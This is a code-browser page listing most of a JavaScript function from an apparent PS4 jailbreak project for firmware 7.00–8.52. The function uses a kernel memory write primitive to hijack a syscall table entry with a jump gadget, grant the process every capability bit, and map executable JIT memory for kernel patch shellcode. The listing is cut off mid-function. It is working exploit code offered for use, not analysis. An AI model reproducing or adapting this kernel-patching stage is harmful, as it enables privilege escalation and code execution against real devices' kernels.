MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / patch_kernel

Function patch_kernel

g2all/700/lapse.js:1534–1649  ·  view source on GitHub ↗
(kbase, kmem, p_ucred, restore_info)

Source from the content-addressed store, hash-verified

1532// some trick toggle the CR0.WP bit. We can just toggle it easily within our
1533// shellcode.
1534async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
1535 if (!is_ps4) {
1536 throw RangeError("ps5 kernel patching unsupported");
1537 }
1538 if (!(0x700 <= version && version < 0x900)) {
1539 // Only 7.00-8.52 supported
1540 throw RangeError("kernel patching unsupported");
1541 }
1542
1543 log("change sys_aio_submit() to sys_kexec()");
1544 // sysent[661] is unimplemented so free for use
1545 const sysent_661 = kbase.add(off_sysent_661);
1546 const sysent_661_save = new Buffer(0x30); // sizeof syscall
1547 for (let off = 0; off < sysent_661_save.size; off += 8) {
1548 sysent_661_save.write64(off, kmem.read64(sysent_661.add(off)));
1549 }
1550 log(`sysent[611] save addr: ${sysent_661_save.addr}`);
1551 log("sysent[611] save data:");
1552 hexdump(sysent_661_save);
1553 // .sy_narg = 6
1554 kmem.write32(sysent_661, 6);
1555 // .sy_call = gadgets['jmp qword ptr [rsi]']
1556 kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
1557 // .sy_thrcnt = SY_THR_STATIC
1558 kmem.write32(sysent_661.add(0x2c), 1);
1559
1560 log("set the bits for JIT privs");
1561 // TODO: Just set the bits for JIT privs
1562 // cr_sceCaps[0] // 0x2000038000000000
1563 kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff
1564 // cr_sceCaps[1] // 0x800000000000ff00
1565 kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
1566
1567 const buf = await get_patches(patch_elf_loc);
1568 const patches = new View1(await buf, 0x1000);
1569 let map_size = patches.size;
1570 const max_size = 0x10000000;
1571 if (map_size > max_size) {
1572 die(`patch file too large (>${max_size}): ${map_size}`);
1573 }
1574 if (map_size === 0) {
1575 die("patch file size is zero");
1576 }
1577 log(`kpatch size: ${map_size} bytes`);
1578 map_size = (map_size + page_size) & -page_size;
1579
1580 const prot_rw = 3;
1581 const prot_rx = 5;
1582 const prot_rwx = 7;
1583 const exec_p = new Int(0, 9);
1584 const write_p = new Int(max_size, 9);
1585
1586 log("open JIT fds");
1587 const exec_fd = sysi("jitshm_create", 0, map_size, prot_rwx);
1588 const write_fd = sysi("jitshm_alias", exec_fd, prot_rw);
1589
1590 log("mmap for kpatch shellcode");
1591 const exec_addr = chain.sysp("mmap", exec_p, map_size, prot_rx, MAP_SHARED | MAP_FIXED, exec_fd, 0);

Callers 1

kexploitFunction · 0.70

Calls 13

logFunction · 0.90
hexdumpFunction · 0.90
dieFunction · 0.90
get_patchesFunction · 0.70
sysiFunction · 0.70
sys_voidFunction · 0.70
addMethod · 0.45
write64Method · 0.45
read64Method · 0.45
write32Method · 0.45
syspMethod · 0.45
neMethod · 0.45

Tested by

no test coverage detected